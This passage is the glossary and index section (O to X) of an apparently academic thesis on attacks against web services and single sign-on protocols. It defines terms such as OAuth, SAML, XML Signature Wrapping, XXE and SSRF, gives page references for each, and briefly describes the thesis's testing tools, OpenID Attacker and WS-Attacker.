Optimal Asymmetric Encryption Padding; Padding scheme used in com-
bination with RSA encryption. 187

OAuth

OAuth is an open protocol which standardized API-Authoring for desktop,
web, and mobile applications. i, 4, 6, 75, 76, 79–82, 84, 85, 87, 110, 111,
124–126, 128, 146, 147, 149

open source

Work which are enforced by license to have source available for the public.
23, 55, 65, 72, 100, 103, 106, 107, 125, 127

OpenID

OpenID is decentralized authentication system for web-based SPs. i, 2,
4, 6, 75–80, 83, 84, 86, 87, 89–107, 109–113, 115, 116, 125, 129, 131, 133,
139, 142–147, 149, 155

OpenID Attacker

OpenID Attacker is the tool developed in this thesis for attacking the
OpenID specification. 100–108, 111, 125, 126, 146, 152

OpenID Connect

OpenID Connect is a decentralized SSO protocol and successor of OpenID.
i, 2, 4, 6, 75–84, 87, 89, 90, 92, 93, 96, 110–119, 121–129, 131, 139, 142,
144, 146, 147, 149, 150, 152

OWASP

Open Web Application Security Project. 10, 24

ownCloud

OwnCloud is a free and open source, PHP and MySQL based web appli-
cation which allows data synchronization and cloud storage. 93, 97, 105,
106, 149, 152

P

PaaS

Platform-as-a-Service. 73, 139, 143

parser

A parser analyzes an input syntatically and seperates it into tokens, e.g.,
words. In the context of XML, the tokens are nodes like elements, at-
tributes and text contents. 10, 14, 48, 49

Document Object Model; The DOM parser reads the whole XML docu-
ment into memory and builds an object for each node. 11, 38
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Terms and Abbreviations

Simple API for XML; The SAX parses an XML stream and sends an event
if a new element starts or ends. 11

XML parser; A parser that processes XML content. 15, 16, 24, 37, 47–49,
73

penetration test

Method for evaluating security on computer systems. 2, 5, 9, 27, 29, 37,
40, 47, 49, 73, 74, 79, 100, 102

Penetration tester. 38, 40, 41, 47, 111, 126

PHP

PHP is a popular server-side scripting language and widespread in the
area of web development. 103, 105–107

PrOfESSOS

Practical Offensive Evaluation of Single Sign-On Services. 6, 125–128,
143, 145, 147, 150

R

Replay

Single-Phase Attack which abuses a insufficient SSO token freshness ver-
ification on the SP. 3, 88, 90, 116, 127, 128, 130, 132, 140, 141, 146,
147

REST

Representational State Transfer. 18, 57, 121, 149

RPC

Remote Procedure Call. 1

RSA-OAEP

RSA used with Optimal Asymmetric Encryption Padding (OAEP) padding.
58, 60, 74

RSA-PKCS#1 v1.5

Public key encryption scheme applied to RSA. 21, 57–59, 62–70, 73, 74

S

SaaS

Software-as-a-Service; An SP that provides Software that is available as a
web application. 86, 128, 144

SaaS-CP

Software-as-a-Service Cloud Provider. i, 4, 6, 128, 129, 131, 137, 139–143
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Terms and Abbreviations

SAML

Security Assertion Markup Language; SAML is a decentralized SSO pro-
tocol. i, 2, 4, 6, 10, 17, 18, 22, 57, 58, 75–80, 82–86, 89–93, 129–144, 146,
147, 152, 153

Signature Bypass

Single-Phase Attack targeting the cryptographic information or verifica-
tion of an SSO token. 88, 90, 97, 99, 109, 116, 127, 128, 144

Certificate Faking; Signature Bypass Attack on SAML. 135, 138, 140,
141, 153

Certificate Injection; Signature Bypass Attack on SAML. 137–139, 141,
142, 144

Signature Exclusion; Signature Bypass Attack on SAML. 134, 135, 140,
141, 153

Single-Phase Attack

Generic attack concept on an SSO protocol taking place in a single protocol
phase. 3, 4, 6, 76, 88, 90, 91, 93, 96, 103, 104, 111, 114, 115, 126, 128,
129, 131, 139, 142, 143, 187

SOA

Service Oriented Architecture; Abstract model of software architecture.
9, 22

SOAP

Simple Object Access Protocol; SOAP is a standard which describes mes-
sage exchange with a web service. i, 1–3, 10, 19–32, 34–36, 39, 40, 43, 46,
48, 49, 57, 60, 61, 63, 68, 70, 73, 74, 133, 144, 149, 151, 157

SOAPAction

Web service specific property determining the to be executed operation.
26, 27, 34–37, 144

SOAPAction Spoofing

Web service specific attack abusing the SOAPAction feature. 23, 26, 27,
34–36, 144, 151

SoapUI

Open source tool to work with a web service. 24, 31, 72

SP

Service Provider; Also known as Relying Party. Entity that offers a service
which the user wants to use. 2–4, 6, 75–83, 86–92, 94–104, 107, 109, 112,
113, 115–139, 143–147, 150, 152, 183, 187, 189

Client; Term used for the SP in the OAuth and OpenID Connect specifi-
cation. 80
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Terms and Abbreviations

SQL-Injection

An attack technique which tries to inject and execute SQL statements
reasoned in inadequate user input validation. 9, 17, 23, 24, 72

SSO

Single Sign-On is a property of access control, which allows a user to log
in once and request access to several systems. i, v, 1–4, 6, 7, 17, 22, 75–88,
90–94, 96, 97, 100, 110–112, 120, 125, 129–133, 139, 142–147, 149, 150,
152, 155, 188

SSO Attacker Paradigm

Novel paradigm presented in this thesis for attacking an analyzing SSO
protocols. Makes use of a malicious IdP. i, 3, 4, 6, 76, 77, 85, 93, 96, 99,
111, 115, 117, 127, 128, 131, 143, 147, 149, 150

SSO token

An SSO token contains assertions about the End-User authenticating to
an SP. 2, 3, 75, 76, 88–93, 95, 98, 111, 113–116, 119, 123–126, 130–136,
140, 144, 149, 152, 153

SSRF

Server-Side Request Forgery. i, 10, 18, 119, 121, 122

T

Token Generation

Phase 2 of an SSO protocol between End-User and IdP. 3, 77, 91, 95, 101,
113, 129

Token Redemption

Phase 3 of an SSO protocol between SP and IdP. 3, 77, 113, 117, 119, 129

Token Request

SSO message initiated by the SP and sent to the IdP requesting the token.
78, 80–84, 95, 113, 117–120, 124

Token Response

SSO message initiated by the and sent to the IdP containing the token.
78, 79, 81–84, 89, 95, 113, 116–119, 121, 124, 125, 130, 132–136, 138, 140

Trust Establishment

Phase 1 of an SSO protocol between SP and IdP. 3, 77, 83, 92, 129, 130,
137, 138, 142, 143, 149

TTP

Trusted Third Party; A trustworthy entity. In SSO protocols, an IdP is
commonly playing this role. i, 2, 77, 85, 149, 150
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Terms and Abbreviations

U

user agent

Software acting on behalf of a End-User, e.g., a web browser.. 77–79, 85,
87, 95, 98, 101, 103, 104, 113, 116–118, 120, 121, 140, 145

W

W3C

World Wide Web Consortium; organization for standards in the World
Wide Web. 11, 20, 22, 57, 74

web application

A web application is an application that uses a web browser as a client.
9, 72, 100, 121, 126, 139, 147

web service

A web service is technology that allows the execution of RPCs. i, v, 1–3,
5, 9, 10, 18–32, 34–43, 45, 47–58, 60–65, 67, 68, 72–74, 91, 121, 126, 133,
144, 149, 151, 155

Wrong Recipient

Single-Phase Attack abusing a missing SSO token recipient verification on
the target SP. 89, 97, 98, 102, 104, 105, 110, 111, 116, 127, 128, 130, 132,
133, 141, 143, 146, 147, 152

WS-Addressing

Web Service Addressing. 24–26, 36, 157

WS-Addressing Spoofing

Web service specific attack abusing the feature. 23, 25, 35–37, 151

WS-Attacker

Automatic penetration test framework for web services. i, 2, 3, 5, 8–10,
23, 27–44, 47, 50–52, 57, 58, 63, 65–67, 69, 72–74, 134, 149, 151

Abstract class in WS-Attacker which can be extended to a concrete attack
plugin. 32, 33, 157

Abstract class in WS-Attacker which can be used to configure an attack.
32

Adaptive and Intelligent Denial-of-Service. 5, 47, 48, 50–56, 151

WSDL

Web Services Description Language; Specification for creating a client’s
web service message. 19, 22, 23, 26, 28–31, 43

WS-Policy

Specifies how to add policies to a WSDL. 8
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Terms and Abbreviations

WS-Security

Extension for SOAP to specify security in web services. 1, 20, 22, 31

WS-SecurityPolicy

Specifies security policy assertions for WS-Security. 22

X

XEW

XML Encryption Wrapping; Technique for attacking encrypted XML mes-
sages. 61–63, 65, 67–70, 151

XInclude

XML Inclusion. 13, 18, 149

XML

eXtended Markup Language; Textual data format to encode documents,
commonly used for message exchange. 1–3, 5, 9–18, 20–24, 28, 30, 37–39,
41, 47–50, 52, 57, 58, 60, 64, 67, 69, 73, 74, 79, 90, 91, 96, 121, 129, 130,
133, 136, 144, 149, 155, 187

XML Encryption

Standard for encryption of XML documents. 1–3, 5, 9, 10, 20, 29, 37,
57–60, 62–68, 70, 72–74, 149, 151

XML Schema

Well-founded commendation from W3C to define the structure of an XML
document. 11, 12, 22, 30, 31, 48–50, 52, 149

XML Security

Generic term for security features used in XML. v, 28, 58, 63, 72

XML Signature

Also XML Digital Signature, standard for creating signatures in XML
documents. 1–3, 19, 20, 29, 36, 58, 60–64, 67, 68, 70, 71, 74, 90, 130, 133,
135, 137, 142, 146

XPath

XML standard for selecting parts of XML Documents. 63, 67, 69, 71, 151

XRDS

eXtensible Resource Descriptor Sequence is an XML format for describing
metadata as a web resource. 95, 96, 109, 146

XSLT

Extensible Stylesheet Language Transformations. 13, 18, 37, 136, 137,
141, 142, 144, 149, 153
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Terms and Abbreviations

XSS

Cross-Site-Scripting is a web application vulnerability which tries to exe-
cute an attacker script within the context of the website owner within the
user’s browser. v, 9, 23, 72, 146

XSW

XML Signature Wrapping; Technique for attacking signed XML messages.
8, 22, 23, 58, 60, 61, 63, 65, 67–69, 71–73, 131, 133, 134, 141, 143, 146,
151

XXE

XML External Entity. 7, 10, 16, 17, 73, 109, 136, 137, 141, 142, 144
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